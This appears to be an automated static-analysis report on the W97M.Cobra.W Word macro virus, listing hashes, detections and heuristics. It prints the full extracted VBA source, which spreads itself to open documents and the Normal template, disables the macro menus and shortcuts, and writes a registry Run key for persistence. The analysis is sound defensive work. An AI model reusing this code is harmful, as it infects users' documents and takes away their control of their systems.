W97M.Cobra.W — Office (OLE) malware analysis

Static analysis result for SHA-256 b475c1b12f1ed02c…

MALICIOUS

Office (OLE)

34.0 KB Created: 2000-07-25 04:49:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 602408040c481b92f3a6c708b825bdf9 SHA-1: b6520877b3402b111f4727f927431db0e7244b05 SHA-256: b475c1b12f1ed02cf6376bd37df2f8f2625aeed2aafd759636c65779b35c2384
180 Risk Score

Malware Insights

W97M.Cobra.W · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Trojan.Cobra-12. It contains VBA macros, including AutoOpen and Auto_Close, which are commonly used to execute malicious code upon document opening or closing. The embedded VBA script, named Cobra_20B, attempts to infect other documents by copying itself to them, indicating a macro-based propagation mechanism. The document body explicitly states 'I am infected with W97M.Cobra.W', confirming the malware family.

Heuristics 5

  • ClamAV: Doc.Trojan.Cobra-12 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Cobra-12
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13050 bytes
SHA-256: 8d60ec474c0842c8afe612c143d047e7f94835db45ac0f41cc98b27da291f33f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Cobra_20B"
'Cobra Version 2.0B
Sub Infect()
On Error Resume Next
CommandBars("Tools").Controls("Macro").Visible = False
CommandBars("Tools").Controls("Macro").Enabled = False
CommandBars("View").Controls("Toolbars").Visible = False
CommandBars("View").Controls("Toolbars").Enabled = False
FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
AT = Application.NormalTemplate.FullName
AD = ActiveDocument.FullName
For Each doc In Documents
OD = doc.FullName
For NC = 1 To doc.VBProject.VBComponents.Count '
MC = (1999 + 1) - 2000
If doc.VBProject.VBComponents(NC).Name <> "Reference to Normal" And _
doc.VBProject.VBComponents(NC).Name <> "ThisDocument" And _
doc.VBProject.VBComponents(NC).Name <> "Cobra_20B" Then
Application.OrganizerDelete Source:=OD, _
Name:=doc.VBProject.VBComponents(NC).Name, _
Object:=wdOrganizerObjectProjectItems
End If
If doc.VBProject.VBComponents(NC).Name = "Cobra_20B" Then
MC = (2000 + 1) - (1999 + 1)
End If
Next
If MC = (1999 + 1) - 2000 Then
Application.OrganizerCopy Source:=AD, _
Destination:=OD, Name:="Cobra_20B", _
Object:=wdOrganizerObjectProjectItems
End If
Next
MC = (1999 + 1) - 2000
For NC = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(NC).Name <> "ThisDocument" And _
NormalTemplate.VBProject.VBComponents(NC).Name <> "Cobra_20B" Then
Application.OrganizerDelete Source:=NormalTemplate.FullName, _
Name:=NormalTemplate.VBProject.VBComponents(NC).Name, _
Object:=wdOrganizerObjectProjectItems
End If
If NormalTemplate.VBProject.VBComponents(NC).Name = "Cobra_20B" Then
MC = (2000 + 1) - (1999 + 1)
End If
Next
If MC = (1999 + 1) - 2000 Then
Application.OrganizerCopy Source:=AD, Destination:=NormalTemplate.FullName, _
Name:="Cobra_20B", Object:=wdOrganizerObjectProjectItems
End If
End Sub
Sub IntCobra()
FDt = Format("01/01/2000", "mm/dd/yyyy")
CDt = Format(Date, "mm/dd/yyyy")
PDt = DateValue(CDt) - DateValue(FDt)
WTit = "Y2K+D" & PDt
GeWd = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\", "SystemRoot")
If System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\", "RegisteredOwner") <> "Cobra VS LITON" Then
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\", "RegisteredOwner") = "Cobra VS LITON"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\", "RegisteredOrganization") = "349,(PA12A19H2AG)/DHK/BD"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\", "Infday") = Format(Date, "mm/dd/yyyy")
End If
Curd = Date
InfD = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\", "Infday")
TinfD = DateValue(Curd) - DateValue(InfD)
If TinfD > 30 Then
ActiveDocument.SaveAs GeWd + "\Cobra.doc"
ActiveDocument.ActiveWindow.Caption = WTit
If System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Infected") <> GeWd + "\Cobra.Doc" Then
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Infected") = GeWd + "\Cobra.Doc"
If ActiveDocument.VBProject.VBComponents("Cobra_20B").CodeModule.Lines(78, 1) <> "Application.Quit" Then
ActiveDocument.VBProject.VBComponents("Cobra_20B").CodeModule.InsertLines 78, "Application.Quit"
ActiveDocument.Save
End If
End If
End If
End Sub
Sub AutoOpen()
Call Infect
Call IntCobra
End Sub
Sub AutoClose()
Call Infect
Call IntCobra
End Sub

' Processing file: /opt/analyzer/scan_staging/027dd24994ec4325b09acaedd60877f7.bin
' ===============================================================================
' Module st
... (truncated)